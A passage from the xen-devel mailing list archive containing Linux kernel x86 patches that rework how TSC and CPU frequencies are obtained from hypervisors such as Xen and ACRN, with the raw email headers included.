+++ b/arch/x86/kernel/tsc.c
@@ -1451,13 +1451,17 @@ static int __init init_tsc_clocksource(void)
 device_initcall(init_tsc_clocksource);
 
 static bool __init determine_cpu_tsc_frequencies(bool early,
+						 unsigned int known_cpu_khz,
 						 unsigned int known_tsc_khz)
 {
 	/* Make sure that cpu and tsc are not already calibrated */
 	WARN_ON(cpu_khz || tsc_khz);
 
 	if (early) {
-		cpu_khz = x86_platform.calibrate_cpu();
+		if (known_cpu_khz)
+			cpu_khz = known_cpu_khz;
+		else
+			cpu_khz = x86_platform.calibrate_cpu();
 		if (known_tsc_khz)
 			tsc_khz = known_tsc_khz;
 		else
@@ -1514,7 +1518,7 @@ static void __init tsc_enable_sched_clock(void)
 
 void __init tsc_early_init(void)
 {
-	unsigned int known_tsc_khz = 0;
+	unsigned int known_cpu_khz = 0, known_tsc_khz = 0;
 
 	if (!boot_cpu_has(X86_FEATURE_TSC))
 		return;
@@ -1522,22 +1526,33 @@ void __init tsc_early_init(void)
 	if (is_early_uv_system())
 		return;
 
+	if (x86_init.hyper.get_cpu_khz)
+		known_cpu_khz = x86_init.hyper.get_cpu_khz();
+
 	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
 		known_tsc_khz = snp_secure_tsc_init();
 	else if (boot_cpu_has(X86_FEATURE_TDX_GUEST))
 		known_tsc_khz = tdx_tsc_init();
 
+	/*
+	 * If the TSC frequency wasn't provided by trusted firmware, try to get
+	 * it from the hypervisor (which is untrusted when running as a CoCo guest).
+	 */
+	if (!known_tsc_khz && x86_init.hyper.get_tsc_khz)
+		known_tsc_khz = x86_init.hyper.get_tsc_khz();
+
 	/*
 	 * Ignore the user-provided TSC frequency if the exact frequency was
-	 * obtained from trusted firmware, as the user-provided frequency is
-	 * intended as a "starting point", not a known, guaranteed frequency.
+	 * obtained from trusted firmware or the hypervisor, as the user-
+	 * provided frequency is intended as a "starting point", not a known,
+	 * guaranteed frequency.
 	 */
 	if (!known_tsc_khz)
 		known_tsc_khz = tsc_early_khz;
 	else if (tsc_early_khz)
-		pr_err("Ignoring 'tsc_early_khz' in favor of trusted firmware.\n");
+		pr_err("Ignoring 'tsc_early_khz' in favor of firmware/hypervisor.\n");
 
-	if (!determine_cpu_tsc_frequencies(true, known_tsc_khz))
+	if (!determine_cpu_tsc_frequencies(true, known_cpu_khz, known_tsc_khz))
 		return;
 	tsc_enable_sched_clock();
 }
@@ -1558,7 +1573,7 @@ void __init tsc_init(void)
 
 	if (!tsc_khz) {
 		/* We failed to determine frequencies earlier, try again */
-		if (!determine_cpu_tsc_frequencies(false, 0)) {
+		if (!determine_cpu_tsc_frequencies(false, 0, 0)) {
 			mark_tsc_unstable("could not calculate TSC khz");
 			setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER);
 			return;
diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
index d62c14334b35..1adb44fdddb2 100644
--- a/arch/x86/xen/time.c
+++ b/arch/x86/xen/time.c
@@ -38,7 +38,7 @@
 static u64 xen_sched_clock_offset __read_mostly;
 
 /* Get the TSC speed from Xen */
-static unsigned long xen_tsc_khz(void)
+static unsigned int __init xen_tsc_khz(void)
 {
 	struct pvclock_vcpu_time_info *info =
 		&HYPERVISOR_shared_info->vcpu_info[0].time;
@@ -569,7 +569,7 @@ static void __init xen_init_time_common(void)
 	static_call_update(pv_steal_clock, xen_steal_clock);
 	paravirt_set_sched_clock(xen_sched_clock);
 
-	x86_platform.calibrate_tsc = xen_tsc_khz;
+	x86_init.hyper.get_tsc_khz = xen_tsc_khz;
 	x86_platform.get_wallclock = xen_get_wallclock;
 }
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350378.1607908 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0ft-0001yQ-J0; Wed, 01 Jul 2026 19:32:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350378.1607908; Wed, 01 Jul 2026 19:32:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0ft-0001xO-90; Wed, 01 Jul 2026 19:32:45 +0000
Received: by outflank-mailman (input) for mailman id 1350378;
 Wed, 01 Jul 2026 19:32:43 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3WGtFagYKCZ0PB7KG9DLLDIB.9LJUBK-ABSBIIFPQP.UBKMOLGB9Q.LOD@flex--seanjc.bounces.google.com>)
 id 1wf0fr-0001aG-GD
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fq-009wqs-TH
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:42 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3WGtFagYKCZ0PB7KG9DLLDIB.9LJUBK-ABSBIIFPQP.UBKMOLGB9Q.LOD@flex--seanjc.bounces.google.com>)
 id 6a456b38-e002-0a2a0a5209dd-0a2a450cae0a-46
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:42 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3WGtFagYKCZ0PB7KG9DLLDIB.9LJUBK-ABSBIIFPQP.UBKMOLGB9Q.LOD@flex--seanjc.bounces.google.com>)
 id 6a456b59-f399-0a2a450c0019-d155d2c9dd31-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:42 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-84622d6102dso1270894b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934361; x=1783539161; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=ReYT3wow7KWZM4WGFuJpCOGL6Ebh0IHq2felz3Yetls=;
        b=l9Lhx9UESF570Gz6ewNRjf8oOGu5ypXjoNYsvbTHNvSxUGSQXCJCjHnpBiIPNCGNNJ
         +7HCGa9bvp9YY8xxYH/UXHEgyN6mvCtBq5kqvcNcvvOWKnkpJvtRyjn4M200bM12rCie
         XBXAzBP82IosoWBuq62LXvUCjt3XMQgKT34OR4oDAoVJ5HhVBno5gGXGN5wrFGSt+23E
         N154zg3ixOX+PUSAkJcf4R2zc7qb516dG1oO+1Qtw1T275+V7tahqaBbN6eTxAyJzoIx
         uRuJs2zrhsf9YQYhXMV16F7zN7XWcbRRG8HHPcGS7ihFQIuIcueH1ITuvh0B+0CjquY2
         hGuw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934361; x=1783539161;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=ReYT3wow7KWZM4WGFuJpCOGL6Ebh0IHq2felz3Yetls=;
        b=fZ2NW0hKGfQChF7anEk8dibRbQ7jgVSQSx0wC32E+mQmiegrs1gzD3Xpmtao67LfP6
         Jq4vIk/QoOKpXHmTZ9KvGVPZRyzvpkdpViLkNpsCt2Rksd27jjxXpvUR3jdrppv4LpZf
         PtGPtxO/ahBSv6eVtRg+wC4t4dUVPFkP9KKCssCvppmQsyIrzd3wCx4oq9/y1vm9pjxe
         H4zHDmlG1FdVHBD5ExLZ2Bx4DUrjC434j1FCsDUrRv2spL64jb8CeWE3QRRGClg7s0V8
         wFq51563Oa8uVCNP2kUlDl/XMa0IO6iZ/zcJf8lwmf8aznkT7ILhzU7bI/oxetwMoyyi
         VgsA==
X-Forwarded-Encrypted: i=1; AFNElJ+3wMICgmC7CG6fIRA0LgC3r/cnLo18/A7EdpwRuu2J9nfIfJW6qmaAbt/tWB/x3uWPPbSHRggdQtw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxiWnhOOW2TeRL197MMAKwQQoFcx1kZNOTo+Pbmi+g4XBabT6Q7
	aFjGPGbeXEhL9kGuIqxiQnl7feOPX1UNftTy8AzgmZIaF3sWutoXrtNBrUrCux1LdCupKYyCvfj
	cFVyqSA==
X-Received: from pfwy27.prod.google.com ([2002:a05:6a00:1c9b:b0:842:8af7:db0d])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:9a6:b0:845:ccf1:49b6
 with SMTP id d2e1a72fcca58-847c51b72d4mr2049167b3a.45.1782934360386; Wed, 01
 Jul 2026 12:32:40 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:33 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-13-seanjc@google.com>
Subject: [PATCH v5 12/51] x86/acrn: Register TSC/CPU frequency callbacks iff
 frequency is actually in CPUID
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-d25034/1782934362-A84A9D51-78A097DD/0/0
X-purgate-type: clean
X-purgate-size: 1816

Register ACRN's TSC/CPU frequency overrides if and only if the exact TSC
frequency is actually provided in CPUID.  This will allow marking the TSC
as reliable as appropriate, and avoids relying on the caller to handle
"failure".

For all intents and purposes, no functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/cpu/acrn.c | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
index ad8f2da8003b..dc71a6fdd461 100644
--- a/arch/x86/kernel/cpu/acrn.c
+++ b/arch/x86/kernel/cpu/acrn.c
@@ -19,6 +19,8 @@
 #include <asm/idtentry.h>
 #include <asm/irq_regs.h>
 
+static unsigned int acrn_tsc_khz_cpuid __initdata;
+
 static u32 __init acrn_detect(void)
 {
 	return acrn_cpuid_base();
@@ -26,13 +28,19 @@ static u32 __init acrn_detect(void)
 
 static unsigned int __init acrn_get_tsc_khz(void)
 {
-	return cpuid_eax(ACRN_CPUID_TIMING_INFO);
+	return acrn_tsc_khz_cpuid;
 }
 
 static void __init acrn_init_platform(void)
 {
 	/* Install system interrupt handler for ACRN hypervisor callback */
 	sysvec_install(HYPERVISOR_CALLBACK_VECTOR, sysvec_acrn_hv_callback);
+
+	acrn_tsc_khz_cpuid = cpuid_eax(ACRN_CPUID_TIMING_INFO);
+	if (acrn_tsc_khz_cpuid) {
+		x86_init.hyper.get_tsc_khz = acrn_get_tsc_khz;
+		x86_init.hyper.get_cpu_khz = acrn_get_tsc_khz;
+	}
 }
 
 static bool acrn_x2apic_available(void)
@@ -80,6 +88,4 @@ const __initconst struct hypervisor_x86 x86_hyper_acrn = {
 	.type			= X86_HYPER_ACRN,
 	.init.init_platform     = acrn_init_platform,
 	.init.x2apic_available  = acrn_x2apic_available,
-	.init.get_tsc_khz	= acrn_get_tsc_khz,
-	.init.get_cpu_khz	= acrn_get_tsc_khz,
 };
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350383.1607919 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fv-0002NJ-Ax; Wed, 01 Jul 2026 19:32:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350383.1607919; Wed, 01 Jul 2026 19:32:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fu-0002LA-Uc; Wed, 01 Jul 2026 19:32:46 +0000
Received: by outflank-mailman (input) for mailman id 1350383;
 Wed, 01 Jul 2026 19:32:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3WmtFagYKCZ8RD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 1wf0ft-0001tg-2q
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fs-004o0g-FF
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:44 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3WmtFagYKCZ8RD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 6a456b58-2eae-0a2a0a5409dd-0a2a450882ba-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:44 +0200
Received: from [209.85.210.202] (helo=mail-pf1-f202.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3WmtFagYKCZ8RD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 6a456b5a-edec-0a2a45080019-d155d2caad9e-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:44 +0200
Received: by mail-pf1-f202.google.com with SMTP id
 d2e1a72fcca58-847a2509456so1135787b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934362; x=1783539162; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=FaUjTU3QKJy+ktbmudl/+1GzmAqwQnS7of3spvtM7gQ=;
        b=OauO9YQj8/DIduPXV9LtGQlmHJnxfKxLMXTbb/WZ+PMTU+rJkiMniiSHaCWYrb91SZ
         GOqSfHDBqVviFJ86XJxg/n3bYKhiR9NO3qT3qyrbBypQPCZAxdflrI0xW4olETsjVicp
         DbfPBIbmDz457EmmWwSHHD6hJoYX8BX0dgwY2J/PpWfiEN+Vp8WeJOL0zxgvdRUPpeRL
         SVetb3GFTFP2UQR0tHaJUE29AvEnq/J+kJnbMnanmddgbnrdzcHiD8TDxgCfoF3kGxBT
         Flb0xgFvOLE6OGnb8/8xp57AG+AfGMKKwPuL5A38Ylx1gE28yRj3u2jshwVq2OmQqSGL
         iUEQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934362; x=1783539162;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=FaUjTU3QKJy+ktbmudl/+1GzmAqwQnS7of3spvtM7gQ=;
        b=c+Z5x/52goRc5BE6Ua8dI24LduCwtN/R07BVOv0lL0xXQL8m/7ipSDDDI6yn1AnG5D
         RWFb9JSQxwxqvzJEYlyuoN/sGmLE/5321McCpB51MrN7azJ4NFvPrtKYRmsx6qAr3qyW
         eorqeq+bDXUnmtjBjq7Exa9A4GqB3rNF/7RNNbE9tSfaCrwdprI7cvJyccB1A471H/zV
         LsIabfyfPf4qkDU+oq+tbSU78BohsoksLtY4hiRonN64vJ6rd4hBQkIl5bUnY1anOA7e
         ri5WOjyuxK0/k62g/phLSJKZitwvvQrFM/VfzBmTgcae1QA7gBSuQHWWlJLhd75suOcr
         P1Zg==
X-Forwarded-Encrypted: i=1; AFNElJ+viXaHJtNx77uDc7JxnQRT+5IfKkwW2hemedZomEQkQqU663KuEBPmpQWmJc4IYF2VwAfud5/hZ/o=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwjlbG21uC59fl37RTvgkMH9iF67yq4cjNWS+jNKB0xsLhnJqzh
	cJh/Z7+hXTzLCSyWHCJYrNz/reySadf6PUxZJGNoDz6r3seSo6FqUW4yKtrBwrmq4vd2GUr2vTR
	lR/lUVg==
X-Received: from pghx17.prod.google.com ([2002:a63:f711:0:b0:c9a:53ea:434a])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:1b84:b0:398:9b42:69f7
 with SMTP id adf61e73a8af0-3bfed3b19b0mr3536321637.39.1782934362055; Wed, 01
 Jul 2026 12:32:42 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:34 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-14-seanjc@google.com>
Subject: [PATCH v5 13/51] x86/acrn: Mark TSC frequency as known when using
 ACRN for calibration
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-c1860d/1782934364-A0D2B3FC-5AFC5710/0/0
X-purgate-type: clean
X-purgate-size: 816

Mark the TSC frequency as known when using ACRN's PV CPUID information.
Per commit 81a71f51b89e ("x86/acrn: Set up timekeeping") and common sense,
the TSC freq is explicitly provided by the hypervisor.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/cpu/acrn.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
index dc71a6fdd461..3818f6ae0629 100644
--- a/arch/x86/kernel/cpu/acrn.c
+++ b/arch/x86/kernel/cpu/acrn.c
@@ -40,6 +40,7 @@ static void __init acrn_init_platform(void)
 	if (acrn_tsc_khz_cpuid) {
 		x86_init.hyper.get_tsc_khz = acrn_get_tsc_khz;
 		x86_init.hyper.get_cpu_khz = acrn_get_tsc_khz;
+		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	}
 }
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350384.1607924 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fw-0002Uz-By; Wed, 01 Jul 2026 19:32:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350384.1607924; Wed, 01 Jul 2026 19:32:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fv-0002Sq-Mn; Wed, 01 Jul 2026 19:32:47 +0000
Received: by outflank-mailman (input) for mailman id 1350384;
 Wed, 01 Jul 2026 19:32:46 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3W2tFagYKCaASEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 1wf0fu-00027L-9J
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0ft-00Bw10-M1
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:45 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3W2tFagYKCaASEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 6a456b5c-bab6-0a2a0a5309dd-0a2a4504ab4a-2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:45 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3W2tFagYKCaASEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 6a456b5c-a01d-0a2a45040019-d155d7caccd0-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:45 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c85798977dcso829847a12.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934363; x=1783539163; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=JEJEfFzkyRhChopEv3/Eo+3SUmzyKJlolrUUxvPFGQs=;
        b=PAgkNZum8jPxRZz9+ydbw+bfUj3MHsLFJsyQaqR1J0b+EjqdM80kH2xDwCx3uAvkhW
         +uGmCuVpSrvmvLd+Qnr2p41NXAfeU8zuWoKSmC4+569uo7sE1/ulR1RiXglbBtI4AFRu
         woISm3v4ZHLsIUiCTdjAY7ZyBeDnyK+XNpe0ixP/uai40awtttk+8vvd/yZxeed1Hckt
         cPaumKYB6fOiUj8vWFqfSiFUslOxtyV1orulkJcxFzANEuUjfoSJKKgCVjkjC2lkUdMs
         Ci32VSkmh5deWRIGFgA1gYCSLUHwmQXc4wJGNHGTYlFANYiLoOHTNFzFyHFX53bwW2wU
         r5iA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934363; x=1783539163;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=JEJEfFzkyRhChopEv3/Eo+3SUmzyKJlolrUUxvPFGQs=;
        b=lVAomjB5FkP0QcXTTdn3NXHXRtDLRmUAzdMQaOy1zsHpwIOosi+1sBPbmzli2qZM6w
